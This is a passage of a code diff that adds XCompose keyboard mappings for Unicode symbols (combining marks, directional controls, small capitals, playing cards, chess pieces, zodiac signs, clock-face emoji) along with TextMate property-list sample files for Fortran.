+<Multi_key> <backslash> <parenleft> <period>	: "̐"	U0310	# COMBINING CHANDRABINDU
+<Multi_key> <backslash> <i> <b>		: "̑"	U0311	# COMBINING INVERTED BREVE -- ??
+<Multi_key> <backslash> <parenleft> <parenright>: "⃝"  U20DD # COMBINING ENCLOSING CIRCLE
+<Multi_key> <backslash> <parenleft> <slash> <parenright>:    "⃠"	 U20E0	   # COMBINING ENCLOSING CIRCLE BACKSLASH
+<Multi_key> <backslash> <exclam>	: "̣"   U0323   # COMBINING DOT BELOW
+# With only one underscore it conflicts with stuff.
+<Multi_key> <backslash> <underscore> <underscore>	: "̱"	U0331	# COMBINING MACRON BELOW
+<Multi_key> <backslash> <backslash> <underscore>	: "̲"	U0332	# COMBINING LOW LINE
+<Multi_key> <backslash> <backslash> <backslash> <underscore>	: "̳"	U0333	# COMBINING DOUBLE LOW LINE
+
+# The @ sign will signify reversal to the bottom of the glyph, 'kay?
+
+<Multi_key> <backslash> <at> <o>	: "̥"	U0325	# COMBINING RING BELOW
+
+<Multi_key> <backslash> <at> <c>	: "̬"	U032c	# COMBINING CARON BELOW
+<Multi_key> <backslash> <at> <asciicircum>	: "̭"	U032d	# COMBINING CIRCUMFLEX ACCENT BELOW
+<Multi_key> <backslash> <at> <U>	: "̮"	U032e	# COMBINING BREVE BELOW
+<Multi_key> <backslash> <at> <i> <b>	: "̯"	U032f	# COMBINING INVERTED BREVE BELOW -- ??
+
+# How about leading & (or &&?) for double combiners?  There aren't many anyway.
+# Except that I found myself assuming it was "2" for double.
+<Multi_key> <backslash> <ampersand> <at> <U> : "͜" U035C # COMBINING DOUBLE BREVE BELOW
+<Multi_key> <backslash> <2> <at> <U> : "͜" U035C # COMBINING DOUBLE BREVE BELOW
+<Multi_key> <backslash> <ampersand> <U>	  : "͝"	U035D   # COMBINING DOUBLE BREVE
+<Multi_key> <backslash> <2> <U>	  : "͝"	U035D   # COMBINING DOUBLE BREVE
+<Multi_key> <backslash> <ampersand> <minus> : "͞" U035E	# COMBINING DOUBLE MACRON
+<Multi_key> <backslash> <2> <minus> : "͞" U035E	# COMBINING DOUBLE MACRON
+<Multi_key> <backslash> <ampersand> <at> <minus> : "͟" U035F # COMBINING DOUBLE MACRON BELOW
+<Multi_key> <backslash> <2> <at> <minus> : "͟" U035F # COMBINING DOUBLE MACRON BELOW
+<Multi_key> <backslash> <ampersand> <underscore> : "͟" U035F # COMBINING DOUBLE MACRON BELOW
+<Multi_key> <backslash> <2> <underscore> : "͟" U035F # COMBINING DOUBLE MACRON BELOW
+<Multi_key> <backslash> <ampersand> <asciitilde> : "͠" U0360 # COMBINING DOUBLE TILDE
+<Multi_key> <backslash> <2> <asciitilde> : "͠" U0360 # COMBINING DOUBLE TILDE
+<Multi_key> <backslash> <ampersand> <i> <b>  : "͡"  U0361 # COMBINING DOUBLE INVERTED BREVE
+<Multi_key> <backslash> <2> <i> <b>  : "͡"  U0361 # COMBINING DOUBLE INVERTED BREVE
+<Multi_key> <backslash> <ampersand> <at> <i> <b>  : "᷼"  U1DFC # COMBINING DOUBLE INVERTED BREVE BELOW
+<Multi_key> <backslash> <2> <at> <i> <b>  : "᷼"  U1DFC # COMBINING DOUBLE INVERTED BREVE BELOW
+# Might as well finish up the set.
+<Multi_key> <backslash> <ampersand> <greater> : "͢" U0362 # COMBINING DOUBLE RIGHTWARDS ARROW BELOW
+<Multi_key> <backslash> <2> <greater> : "͢" U0362 # COMBINING DOUBLE RIGHTWARDS ARROW BELOW
+
+<Multi_key> <period> <parenright>	: "͒"	U0352   # COMBINING FERMATA
+
+<Multi_key> <backslash> <asterisk>	: "҉"	U0489	# COMBINING CYRILLIC MILLIONS SIGN  -- aka COMBINING SHINY
+<Multi_key> <P> <minus>		: "₽"	U20BD	# RUBLE SIGN
+<Multi_key> <p> <minus>		: "₽"	U20BD	# RUBLE SIGN
+
+# How about for a little extra control:
+<Multi_key> <Z> <W> <S> <P>		: "​"	U200B	# ZERO WIDTH SPACE
+<Multi_key> <Z> <W> <N> <J>		: "‌"	U200C	# ZERO WIDTH NON-JOINER
+<Multi_key> <Z> <W> <J>			: "‍"	U200D	# ZERO WIDTH JOINER
+<Multi_key> <L> <R> <M>			: "‎"	U200E	# LEFT-TO-RIGHT MARK
+<Multi_key> <R> <L> <M>			: "‏"	U200F	# RIGHT-TO-LEFT MARK
+# I never understood the whole embedding/pop thing, but we might as well add 'em
+<Multi_key> <L> <R> <E>			: "‪"	U202A	# LEFT-TO-RIGHT EMBEDDING
+<Multi_key> <R> <L> <E>			: "‫"	U202B	# RIGHT-TO-LEFT EMBEDDING
+<Multi_key> <P> <D> <F>			: "‬"	U202C	# POP DIRECTIONAL FORMATTING
+<Multi_key> <L> <R> <I>			: "⁦"	U2066	# LEFT-TO-RIGHT ISOLATE
+<Multi_key> <R> <L> <I>			: "⁧"	U2067	# RIGHT-TO-LEFT ISOLATE
+<Multi_key> <F> <S> <I>			: "⁨"	U2068	# FIRST STRONG ISOLATE
+<Multi_key> <P> <D> <I>			: "⁩"	U2069	# POP DIRECTIONAL ISOLATE
+<Multi_key> <L> <R> <O>			: "‭"	U202D	# LEFT-TO-RIGHT OVERRIDE
+<Multi_key> <R> <L> <O>			: "‮"	U202E	# RIGHT-TO-LEFT OVERRIDE
+<Multi_key> <B> <O> <M>			: ""	UFEFF	# ZERO WIDTH NO-BREAK SPACE (Byte Order Mark)
+<Multi_key> <C> <G> <J>			: "͏"	U034F	# COMBINING GRAPHEME JOINER
+# These are sufficiently special and well-known that they don't need the
+# double <Multi_key> prefix I think.  The all-caps helps too.
+
+# How about some small-caps?  We normally use a special character as a prefix,
+# but why not a suffix?  It won't interfere with things that way.
+# Several of these are also IPA, which is handy.  And so a few have multiple
+# entries.  Whatever.
+
+<Multi_key> <a> <grave>	    	  : "ᴀ"	    U1D00 # LATIN LETTER SMALL CAPITAL A
+<Multi_key> <b> <grave>	    	  : "ʙ"	    U0299 # LATIN LETTER SMALL CAPITAL B
+<Multi_key> <c> <grave>	    	  : "ᴄ"	    U1D04 # LATIN LETTER SMALL CAPITAL C
+<Multi_key> <d> <grave>	    	  : "ᴅ"	    U1D05 # LATIN LETTER SMALL CAPITAL D
+<Multi_key> <e> <grave>	    	  : "ᴇ"	    U1D07 # LATIN LETTER SMALL CAPITAL E
+<Multi_key> <f> <grave>	    	  : "ꜰ"	    UA730 # LATIN LETTER SMALL CAPITAL F
+<Multi_key> <g> <grave>	    	  : "ɢ"	    U0262 # LATIN LETTER SMALL CAPITAL G
+<Multi_key> <h> <grave>	    	  : "ʜ"	    U029C # LATIN LETTER SMALL CAPITAL H
+<Multi_key> <i> <grave>	    	  : "ɪ"	    U026A # LATIN LETTER SMALL CAPITAL I
+<Multi_key> <j> <grave>	    	  : "ᴊ"	    U1D0A # LATIN LETTER SMALL CAPITAL J
+<Multi_key> <k> <grave>	    	  : "ᴋ"	    U1D0B # LATIN LETTER SMALL CAPITAL K
+<Multi_key> <l> <grave>	    	  : "ʟ"	    U029F # LATIN LETTER SMALL CAPITAL L
+<Multi_key> <m> <grave>	    	  : "ᴍ"	    U1D0D # LATIN LETTER SMALL CAPITAL M
+<Multi_key> <n> <grave>	    	  : "ɴ"	    U0274 # LATIN LETTER SMALL CAPITAL N
+<Multi_key> <o> <grave>	    	  : "ᴏ"	    U1D0F # LATIN LETTER SMALL CAPITAL O
+<Multi_key> <p> <grave>	    	  : "ᴘ"	    U1D18 # LATIN LETTER SMALL CAPITAL P
+# There is no SMALL CAPITAL Q (yet)!
+<Multi_key> <r> <grave>	    	  : "ʀ"	    U0280 # LATIN LETTER SMALL CAPITAL R
+<Multi_key> <s> <grave>	    	  : "ꜱ"	    UA731 # LATIN LETTER SMALL CAPITAL S
+<Multi_key> <t> <grave>	    	  : "ᴛ"	    U1D1B # LATIN LETTER SMALL CAPITAL T
+<Multi_key> <u> <grave>	    	  : "ᴜ"	    U1D1C # LATIN LETTER SMALL CAPITAL U
+<Multi_key> <v> <grave>	    	  : "ᴠ"	    U1D20 # LATIN LETTER SMALL CAPITAL V
+<Multi_key> <w> <grave>	    	  : "ᴡ"	    U1D21 # LATIN LETTER SMALL CAPITAL W
+# There is no SMALL CAPITAL X (yet)
+<Multi_key> <y> <grave>	    	  : "ʏ"	    U028F # LATIN LETTER SMALL CAPITAL Y
+<Multi_key> <z> <grave>	    	  : "ᴢ"	    U1D22 # LATIN LETTER SMALL CAPITAL Z
+
+
+# See also http://bleah.co.uk/~simon/stuff/XCompose
+# and http://dotfiles.org/~inky/.XCompose
+# and http://paste.lisp.org/display/73094
+
+<Multi_key> <Multi_key> <s> <u> <n>	: "☉"	U2609	# SUN (Sunday)
+<Multi_key> <Multi_key> <m> <o> <o> <n>	: "☽"	U263D	# FIRST QUARTER MOON (Monday)
+<Multi_key> <Multi_key> <m> <e> <r> <c> <u> <r> <y> : "☿" U263F	# MERCURY (Wednesday)
+# We already have Venus (Friday) and Mars (Tuesday) as Male/Female signs; do we need them here too?
+#<Multi_key> <Multi_key> <v> <e> <n> <u> <s>  : "♀" U2640    # FEMALE SIGN
+#<Multi_key> <Multi_key> <m> <a> <r> <s>  : "♂"	U2642   # MALE SIGN
+<Multi_key> <Multi_key> <j> <u> <p> <i> <t> <e> <r> : "♃" U2643	# JUPITER (Thursday)
+<Multi_key> <Multi_key> <s> <a> <t> <u> <r> <n>     : "♄" U2644	# SATURN (Saturday)
+<Multi_key> <Multi_key> <u> <r> <a> <n> <u> <s>	    : "♅" U2645	# URANUS (or ⛢ U26E2?)
+<Multi_key> <Multi_key> <n> <e> <p> <t> <u> <n> <e> : "♆" U2646	# NEPTUNE
+<Multi_key> <Multi_key> <p> <l> <u> <t> <o> 	    : "♇" U2647	# PLUTO (ok, it isn't a planet anymore, but we still love it.)
+# Minor planets, whilst we're at it?
+<Multi_key> <Multi_key> <c> <e> <r> <e> <s>	: "⚳"	U26B3	# CERES
+<Multi_key> <Multi_key> <p> <a> <l> <l> <a> <s>	: "⚴"	U26B4	# PALLAS
+<Multi_key> <Multi_key> <j> <u> <n> <o>     	: "⚵"	U26B5	# JUNO
+<Multi_key> <Multi_key> <v> <e> <s> <t> <a>    	: "⚶"	U26B6	# VESTA
+<Multi_key> <Multi_key> <c> <h> <i> <r> <o> <n>	: "⚷"	U26B7	# CHIRON
+<Multi_key> <Multi_key> <l> <i> <l> <i> <t> <h>	: "⚸"	U26B8	# BLACK MOON LILITH
+
+# Unicode 6.0 gave us all kinds of things, perhaps more than we can use...
+
+# Playing Cards?  It's a lot, but so what?  I don't think the [] convention
+# will conflict with anything.
+# The convention is more or less established, except for the Knight.  I'm
+# using N for that, like in Chess, since K would conflict with King of course.
+
+<Multi_key> <bracketleft> <A> <S> <bracketright>  : "🂡"	U1F0A1	# PLAYING CARD ACE OF SPADES
+<Multi_key> <bracketleft> <2> <S> <bracketright>  : "🂢"	U1F0A2	# PLAYING CARD TWO OF SPADES
+<Multi_key> <bracketleft> <3> <S> <bracketright>  : "🂣"	U1F0A3	# PLAYING CARD THREE OF SPADES
+<Multi_key> <bracketleft> <4> <S> <bracketright>  : "🂤"	U1F0A4	# PLAYING CARD FOUR OF SPADES
+<Multi_key> <bracketleft> <5> <S> <bracketright>  : "🂥"	U1F0A5	# PLAYING CARD FIVE OF SPADES
+<Multi_key> <bracketleft> <6> <S> <bracketright>  : "🂦"	U1F0A6	# PLAYING CARD SIX OF SPADES
+<Multi_key> <bracketleft> <7> <S> <bracketright>  : "🂧"	U1F0A7	# PLAYING CARD SEVEN OF SPADES
+<Multi_key> <bracketleft> <8> <S> <bracketright>  : "🂨"	U1F0A8	# PLAYING CARD EIGHT OF SPADES
+<Multi_key> <bracketleft> <9> <S> <bracketright>  : "🂩"	U1F0A9	# PLAYING CARD NINE OF SPADES
+<Multi_key> <bracketleft> <T> <S> <bracketright>  : "🂪"	U1F0AA	# PLAYING CARD TEN OF SPADES
+<Multi_key> <bracketleft> <J> <S> <bracketright>  : "🂫"	U1F0AB	# PLAYING CARD JACK OF SPADES
+<Multi_key> <bracketleft> <N> <S> <bracketright>  : "🂬"	U1F0AC	# PLAYING CARD KNIGHT OF SPADES
+<Multi_key> <bracketleft> <Q> <S> <bracketright>  : "🂭"	U1F0AD	# PLAYING CARD QUEEN OF SPADES
+<Multi_key> <bracketleft> <K> <S> <bracketright>  : "🂮"	U1F0AE	# PLAYING CARD KING OF SPADES
+
+<Multi_key> <bracketleft> <A> <H> <bracketright>  : "🂱"	U1F0B1	# PLAYING CARD ACE OF HEARTS
+<Multi_key> <bracketleft> <2> <H> <bracketright>  : "🂲"	U1F0B2	# PLAYING CARD TWO OF HEARTS
+<Multi_key> <bracketleft> <3> <H> <bracketright>  : "🂳"	U1F0B3	# PLAYING CARD THREE OF HEARTS
+<Multi_key> <bracketleft> <4> <H> <bracketright>  : "🂴"	U1F0B4	# PLAYING CARD FOUR OF HEARTS
+<Multi_key> <bracketleft> <5> <H> <bracketright>  : "🂵"	U1F0B5	# PLAYING CARD FIVE OF HEARTS
+<Multi_key> <bracketleft> <6> <H> <bracketright>  : "🂶"	U1F0B6	# PLAYING CARD SIX OF HEARTS
+<Multi_key> <bracketleft> <7> <H> <bracketright>  : "🂷"	U1F0B7	# PLAYING CARD SEVEN OF HEARTS
+<Multi_key> <bracketleft> <8> <H> <bracketright>  : "🂸"	U1F0B8	# PLAYING CARD EIGHT OF HEARTS
+<Multi_key> <bracketleft> <9> <H> <bracketright>  : "🂹"	U1F0B9	# PLAYING CARD NINE OF HEARTS
+<Multi_key> <bracketleft> <T> <H> <bracketright>  : "🂺"	U1F0BA	# PLAYING CARD TEN OF HEARTS
+<Multi_key> <bracketleft> <J> <H> <bracketright>  : "🂻"	U1F0BB	# PLAYING CARD JACK OF HEARTS
+<Multi_key> <bracketleft> <N> <H> <bracketright>  : "🂼"	U1F0BC	# PLAYING CARD KNIGHT OF HEARTS
+<Multi_key> <bracketleft> <Q> <H> <bracketright>  : "🂽"	U1F0BD	# PLAYING CARD QUEEN OF HEARTS
+<Multi_key> <bracketleft> <K> <H> <bracketright>  : "🂾"	U1F0BE	# PLAYING CARD KING OF HEARTS
+
+<Multi_key> <bracketleft> <A> <D> <bracketright>  : "🃁"	U1F0C1	# PLAYING CARD ACE OF DIAMONDS
+<Multi_key> <bracketleft> <2> <D> <bracketright>  : "🃂"	U1F0C2	# PLAYING CARD TWO OF DIAMONDS
+<Multi_key> <bracketleft> <3> <D> <bracketright>  : "🃃"	U1F0C3	# PLAYING CARD THREE OF DIAMONDS
+<Multi_key> <bracketleft> <4> <D> <bracketright>  : "🃄"	U1F0C4	# PLAYING CARD FOUR OF DIAMONDS
+<Multi_key> <bracketleft> <5> <D> <bracketright>  : "🃅"	U1F0C5	# PLAYING CARD FIVE OF DIAMONDS
+<Multi_key> <bracketleft> <6> <D> <bracketright>  : "🃆"	U1F0C6	# PLAYING CARD SIX OF DIAMONDS
+<Multi_key> <bracketleft> <7> <D> <bracketright>  : "🃇"	U1F0C7	# PLAYING CARD SEVEN OF DIAMONDS
+<Multi_key> <bracketleft> <8> <D> <bracketright>  : "🃈"	U1F0C8	# PLAYING CARD EIGHT OF DIAMONDS
+<Multi_key> <bracketleft> <9> <D> <bracketright>  : "🃉"	U1F0C9	# PLAYING CARD NINE OF DIAMONDS
+<Multi_key> <bracketleft> <T> <D> <bracketright>  : "🃊"	U1F0CA	# PLAYING CARD TEN OF DIAMONDS
+<Multi_key> <bracketleft> <J> <D> <bracketright>  : "🃋"	U1F0CB	# PLAYING CARD JACK OF DIAMONDS
+<Multi_key> <bracketleft> <N> <D> <bracketright>  : "🃌"	U1F0CC	# PLAYING CARD KNIGHT OF DIAMONDS
+<Multi_key> <bracketleft> <Q> <D> <bracketright>  : "🃍"	U1F0CD	# PLAYING CARD QUEEN OF DIAMONDS
+<Multi_key> <bracketleft> <K> <D> <bracketright>  : "🃎"	U1F0CE	# PLAYING CARD KING OF DIAMONDS
+
+<Multi_key> <bracketleft> <A> <C> <bracketright>  : "🃑"	U1F0D1	# PLAYING CARD ACE OF CLUBS
+<Multi_key> <bracketleft> <2> <C> <bracketright>  : "🃒"	U1F0D2	# PLAYING CARD TWO OF CLUBS
+<Multi_key> <bracketleft> <3> <C> <bracketright>  : "🃓"	U1F0D3	# PLAYING CARD THREE OF CLUBS
+<Multi_key> <bracketleft> <4> <C> <bracketright>  : "🃔"	U1F0D4	# PLAYING CARD FOUR OF CLUBS
+<Multi_key> <bracketleft> <5> <C> <bracketright>  : "🃕"	U1F0D5	# PLAYING CARD FIVE OF CLUBS
+<Multi_key> <bracketleft> <6> <C> <bracketright>  : "🃖"	U1F0D6	# PLAYING CARD SIX OF CLUBS
+<Multi_key> <bracketleft> <7> <C> <bracketright>  : "🃗"	U1F0D7	# PLAYING CARD SEVEN OF CLUBS
+<Multi_key> <bracketleft> <8> <C> <bracketright>  : "🃘"	U1F0D8	# PLAYING CARD EIGHT OF CLUBS
+<Multi_key> <bracketleft> <9> <C> <bracketright>  : "🃙"	U1F0D9	# PLAYING CARD NINE OF CLUBS
+<Multi_key> <bracketleft> <T> <C> <bracketright>  : "🃚"	U1F0DA	# PLAYING CARD TEN OF CLUBS
+<Multi_key> <bracketleft> <J> <C> <bracketright>  : "🃛"	U1F0DB	# PLAYING CARD JACK OF CLUBS
+<Multi_key> <bracketleft> <N> <C> <bracketright>  : "🃜"	U1F0DC	# PLAYING CARD KNIGHT OF CLUBS
+<Multi_key> <bracketleft> <Q> <C> <bracketright>  : "🃝"	U1F0DD	# PLAYING CARD QUEEN OF CLUBS
+<Multi_key> <bracketleft> <K> <C> <bracketright>  : "🃞"	U1F0DE	# PLAYING CARD KING OF CLUBS
+
+<Multi_key> <bracketleft> <C> <B> <bracketright>  : "🂠"	U1F0A0	# PLAYING CARD BACK
+<Multi_key> <bracketleft> <B> <J> <bracketright>  : "🃏" U1F0CF	# PLAYING CARD BLACK JOKER
+<Multi_key> <bracketleft> <W> <J> <bracketright>  : "🃟"	U1F0DF	# PLAYING CARD WHITE JOKER
+
+# Do we want domino bones also?  I'm thinking [ 1 1 ], etc, maybe use
+# ] 1 1 [ for vertical (or vice-versa)
+
+# And chess/checkers pieces! We need a convention for those.  # looks like a
+# checkerboard but we're already using that for music.  Half of it?
+# <bar> will be an issue when we want double-struck W or B... we'll have
+# to consider it.  Maybe replace with <equal>
+<Multi_key> <bar> <W> <K>	 : "♔" U2654	# WHITE CHESS KING
+<Multi_key> <bar> <W> <Q>	 : "♕" U2655	# WHITE CHESS QUEEN
+<Multi_key> <bar> <W> <R>	 : "♖" U2656	# WHITE CHESS ROOK
+<Multi_key> <bar> <W> <B>	 : "♗" U2657	# WHITE CHESS BISHOP
+<Multi_key> <bar> <W> <N>	 : "♘" U2658	# WHITE CHESS KNIGHT
+<Multi_key> <bar> <W> <P>	 : "♙" U2659	# WHITE CHESS PAWN
+<Multi_key> <bar> <B> <K>	 : "♚" U265A	# BLACK CHESS KING
+<Multi_key> <bar> <B> <Q>	 : "♛" U265B	# BLACK CHESS QUEEN
+<Multi_key> <bar> <B> <R>	 : "♜" U265C	# BLACK CHESS ROOK
+<Multi_key> <bar> <B> <B>	 : "♝" U265D	# BLACK CHESS BISHOP
+<Multi_key> <bar> <B> <N>	 : "♞" U265E	# BLACK CHESS KNIGHT
+<Multi_key> <bar> <B> <P>	 : "♟" U265F	# BLACK CHESS PAWN
+<Multi_key> <bar> <W> <D> <M>	 : "⛀" U26C0	# WHITE DRAUGHTS MAN
+<Multi_key> <bar> <W> <D> <K>	 : "⛁" U26C1	# WHITE DRAUGHTS KING
+<Multi_key> <bar> <B> <D> <M>	 : "⛂" U26C2	# BLACK DRAUGHTS MAN
+<Multi_key> <bar> <B> <D> <K>	 : "⛃" U26C3	# BLACK DRAUGHTS KING
+# Since we're doing game pieces, might as well.
+<Multi_key> <bar> <W> <S>	 : "☖" U2616	# WHITE SHOGI PIECE
+<Multi_key> <bar> <B> <S>	 : "☗" U2617	# BLACK SHOGI PIECE
+# It's turned vertically and not horizontally reflected, but we use the <
+# symbol for turning...
+<Multi_key> <bar> <less> <W> <S> : "⛉" U26C9	# TURNED WHITE SHOGI PIECE
+<Multi_key> <bar> <less> <B> <S> : "⛊" U26CA	# TURNED BLACK SHOGI PIECE
+
+# As for the emoji... We can't possibly get all of them, even just all of the
+# cool/useful ones.  Maybe we can pick and choose some high-fliers.
+
+<Multi_key> <Multi_key> <d> <e> <g> <r> <e> <e> 		: "°"	U00B0	# DEGREE SIGN
+<Multi_key> <Multi_key> <d> <e> <g> <C> 		: "℃"   U2103 	# DEGREE CELSIUS
+<Multi_key> <Multi_key> <d> <e> <g> <c> 		: "℃"   U2103 	# DEGREE CELSIUS
+<Multi_key> <Multi_key> <d> <e> <g> <F> 		: "℉"   U2109   # DEGREE FAHRENHEIT
+<Multi_key> <Multi_key> <d> <e> <g> <f> 		: "℉"   U2109   # DEGREE FAHRENHEIT
+
+# Zodiacal symbols?
+<Multi_key> <Multi_key> <a> <r> <i> <e> <s>	: "♈"	U2648	# ARIES
+<Multi_key> <Multi_key> <t> <a> <u> <r> <u> <s>	: "♉"	U2649	# TAURUS
+<Multi_key> <Multi_key> <g> <e> <m> <i> <n> <i>	: "♊"	U264A	# GEMINI
+<Multi_key> <Multi_key> <c> <a> <n> <c> <e> <r>	: "♋"	U264B	# CANCER
+<Multi_key> <Multi_key> <l> <e> <o> 		: "♌"	U264C	# LEO
+<Multi_key> <Multi_key> <v> <i> <r> <g> <o>	: "♍"	U264D	# VIRGO
+<Multi_key> <Multi_key> <l> <i> <b> <r> <a>	: "♎"	U264E	# LIBRA
+# Abbreviating some of the longer ones.
+<Multi_key> <Multi_key> <s> <c> <o> <r> <p>	: "♏"	U264F	# SCORPIUS
+<Multi_key> <Multi_key> <s> <a> <g> <i> <t>	: "♐"	U2650	# SAGITTARIUS
+<Multi_key> <Multi_key> <c> <a> <p> <r> <i> <c>	: "♑"	U2651	# CAPRICORN
+<Multi_key> <Multi_key> <a> <q> <u> <a> <r>	: "♒"	U2652	# AQUARIUS
+<Multi_key> <Multi_key> <p> <i> <s> <c> <e> <s>	: "♓"	U2653	# PISCES
+# Really, this should be SERPENTARIUS.  All the other signs are in Latin.
+<Multi_key> <Multi_key> <o> <p> <h> <i> <u> <c> : "⛎"	U26CE	# OPHIUCHUS
+
+# Sigh.  So many emoji...  I think the first ones I'd go for would be
+# 💡💢💣💤💥💦💧💨💫 (1F4A1-1F4A8 and 1F4AB).  Maybe 1F550-1F567 are useful.  
+<Multi_key> <Multi_key> <i> <d> <e> <a>	    : "💡"    U1F4A1 # ELECTRIC LIGHT BULB
+<Multi_key> <Multi_key> <a> <n> <g> <e> <r> : "💢"    U1F4A2 # ANGER SYMBOL
+<Multi_key> <Multi_key> <b> <o> <m> <b>	    : "💣"    U1F4A3 # BOMB
+<Multi_key> <Multi_key> <z> <z> <z> 	    : "💤"    U1F4A4 # SLEEPING SYMBOL
+<Multi_key> <Multi_key> <p> <o> <w>	    : "💥"    U1F4A5 # COLLISION SYMBOL
+<Multi_key> <Multi_key> <s> <w> <e> <a> <t> : "💦"    U1F4A6 # SPLASHING SWEAT SYMBOL
+<Multi_key> <Multi_key> <d> <r> <o> <p>	    : "💧"    U1F4A7 # DROPLET
+<Multi_key> <Multi_key> <z> <i> <p> 	    : "💨"    U1F4A8 # DASH SYMBOL
+<Multi_key> <Multi_key> <p> <o> <o>	    : "💩"    U1F4A9 # PILE OF POO
+# Skipping U+1F4AA just now.
+<Multi_key> <Multi_key> <d> <i> <z> <z> <y> : "💫"    U1F4AB # DIZZY SYMBOL
+<Multi_key> <Multi_key> <dollar> <b> <a> <g>  : "💰"  U1F4B0 # MONEY BAG
+<Multi_key> <Multi_key> <c> <a> <k> <e>	    : "🍰"    U1F370 # SHORTCAKE
+# The cake is a lie... OK, too cutesy?
+<Multi_key> <Multi_key> <l> <i> <e> 	    : "🎂"    U1F382 # BIRTHDAY CAKE
+<Multi_key> <Multi_key> <b> <d> <a> <y>	    : "🎂"    U1F382 # BIRTHDAY CAKE
+<Multi_key> <Multi_key> <A> <O> <K>	    : "👌"    U1F44C # OK HAND SIGN
+<Multi_key> <Multi_key> <t> <h> <m> <u> <p> : "👍"    U1F44D # THUMBS UP SIGN
+<Multi_key> <Multi_key> <t> <h> <m> <d> <n> : "👎"    U1F44E # THUMBS DOWN SIGN
+# More useful in chat than U+1F48F KISS
+<Multi_key> <Multi_key> <k> <i> <s> <s>	    : "💋"    U1F48B # KISS MARK
+# ⛔ U+26D4 NO ENTRY for "Don't go there"?
+# So many hearts... I'm not touching them for now.
+# And emoticons? (U+1F600 et seq)
+
+<Multi_key> <parenleft> <1> <colon> <0> <0> <parenright> : "🕐" U1F550 # CLOCK FACE ONE OCLOCK
+<Multi_key> <parenleft> <2> <colon> <0> <0> <parenright> : "🕑" U1F551 # CLOCK FACE TWO OCLOCK
+<Multi_key> <parenleft> <3> <colon> <0> <0> <parenright> : "🕒" U1F552 # CLOCK FACE THREE OCLOCK
+<Multi_key> <parenleft> <4> <colon> <0> <0> <parenright> : "🕓" U1F553 # CLOCK FACE FOUR OCLOCK
+<Multi_key> <parenleft> <5> <colon> <0> <0> <parenright> : "🕔" U1F554 # CLOCK FACE FIVE OCLOCK
+<Multi_key> <parenleft> <6> <colon> <0> <0> <parenright> : "🕕" U1F555 # CLOCK FACE SIX OCLOCK
+<Multi_key> <parenleft> <7> <colon> <0> <0> <parenright> : "🕖" U1F556 # CLOCK FACE SEVEN OCLOCK
+<Multi_key> <parenleft> <8> <colon> <0> <0> <parenright> : "🕗" U1F557 # CLOCK FACE EIGHT OCLOCK
+<Multi_key> <parenleft> <9> <colon> <0> <0> <parenright> : "🕘" U1F558 # CLOCK FACE NINE OCLOCK
+<Multi_key> <parenleft> <1> <0> <colon> <0> <0> <parenright> : "🕙" U1F559 # CLOCK FACE TEN OCLOCK
+<Multi_key> <parenleft> <1> <1> <colon> <0> <0> <parenright> : "🕚" U1F55A # CLOCK FACE ELEVEN OCLOCK
+<Multi_key> <parenleft> <1> <2> <colon> <0> <0> <parenright> : "🕛" U1F55B # CLOCK FACE TWELVE OCLOCK
+
+<Multi_key> <parenleft> <1> <colon> <3> <0> <parenright>     : "🕜" U1F55C # CLOCK FACE ONE-THIRTY
+<Multi_key> <parenleft> <2> <colon> <3> <0> <parenright>     : "🕝" U1F55D # CLOCK FACE TWO-THIRTY
+<Multi_key> <parenleft> <3> <colon> <3> <0> <parenright>     : "🕞" U1F55E # CLOCK FACE THREE-THIRTY
+<Multi_key> <parenleft> <4> <colon> <3> <0> <parenright>     : "🕟" U1F55F # CLOCK FACE FOUR-THIRTY
+<Multi_key> <parenleft> <5> <colon> <3> <0> <parenright>     : "🕠" U1F560 # CLOCK FACE FIVE-THIRTY
+<Multi_key> <parenleft> <6> <colon> <3> <0> <parenright>     : "🕡" U1F561 # CLOCK FACE SIX-THIRTY
+<Multi_key> <parenleft> <7> <colon> <3> <0> <parenright>     : "🕢" U1F562 # CLOCK FACE SEVEN-THIRTY
+<Multi_key> <parenleft> <8> <colon> <3> <0> <parenright>     : "🕣" U1F563 # CLOCK FACE EIGHT-THIRTY
+<Multi_key> <parenleft> <9> <colon> <3> <0> <parenright>     : "🕤" U1F564 # CLOCK FACE NINE-THIRTY
+<Multi_key> <parenleft> <1> <0> <colon> <3> <0> <parenright>     : "🕥" U1F565 # CLOCK FACE TEN-THIRTY
+<Multi_key> <parenleft> <1> <1> <colon> <3> <0> <parenright>     : "🕦" U1F566 # CLOCK FACE ELEVEN-THIRTY
+<Multi_key> <parenleft> <1> <2> <colon> <3> <0> <parenright>     : "🕧" U1F567 # CLOCK FACE TWELVE-THIRTY
+
+# Bitcoin signs
+# Real bitcoin codepoint coming at U+20BF!
+<Multi_key> <B> <bar> : "฿" U0E3F # BITCOIN CURRENCY SIGN, ORIGINAL THAI CURRENCY SYMBOL BAHT
+
+<Multi_key> <minus> <B> : "Ƀ" U0243 # ALTERNATIVE BITCOIN CURRENCY SIGN, LATIN CAPITAL LETTER B WITH STROKE
+<Multi_key> <B> <minus> : "Ƀ" U0243 # ALTERNATIVE BITCOIN CURRENCY SIGN, LATIN CAPITAL LETTER B WITH STROKE
+<Multi_key> <minus> <b> : "ƀ" U0180 # ALTERNATIVE BIT CURRENCY SIGN, LATIN SMALL LETTER B WITH STROKE
+<Multi_key> <b> <minus> : "ƀ" U0180 # ALTERNATIVE BIT CURRENCY SIGN, LATIN SMALL LETTER B WITH STROKE
diff --git a/samples/XML Property List/And.tmSnippet b/samples/XML Property List/And.tmSnippet
new file mode 100644
index 0000000000..00ba92fba8
--- /dev/null
+++ b/samples/XML Property List/And.tmSnippet	
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>content</key>
+	<string>.and.</string>
+	<key>name</key>
+	<string>And</string>
+	<key>scope</key>
+	<string>source.fortran</string>
+	<key>tabTrigger</key>
+	<string>and</string>
+	<key>uuid</key>
+	<string>3537B123-DB04-475A-8B8A-A5D223872FC1</string>
+</dict>
+</plist>
diff --git a/samples/XML Property List/Completion.tmCommand b/samples/XML Property List/Completion.tmCommand
new file mode 100644
index 0000000000..980f9d164e
--- /dev/null
+++ b/samples/XML Property List/Completion.tmCommand	
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
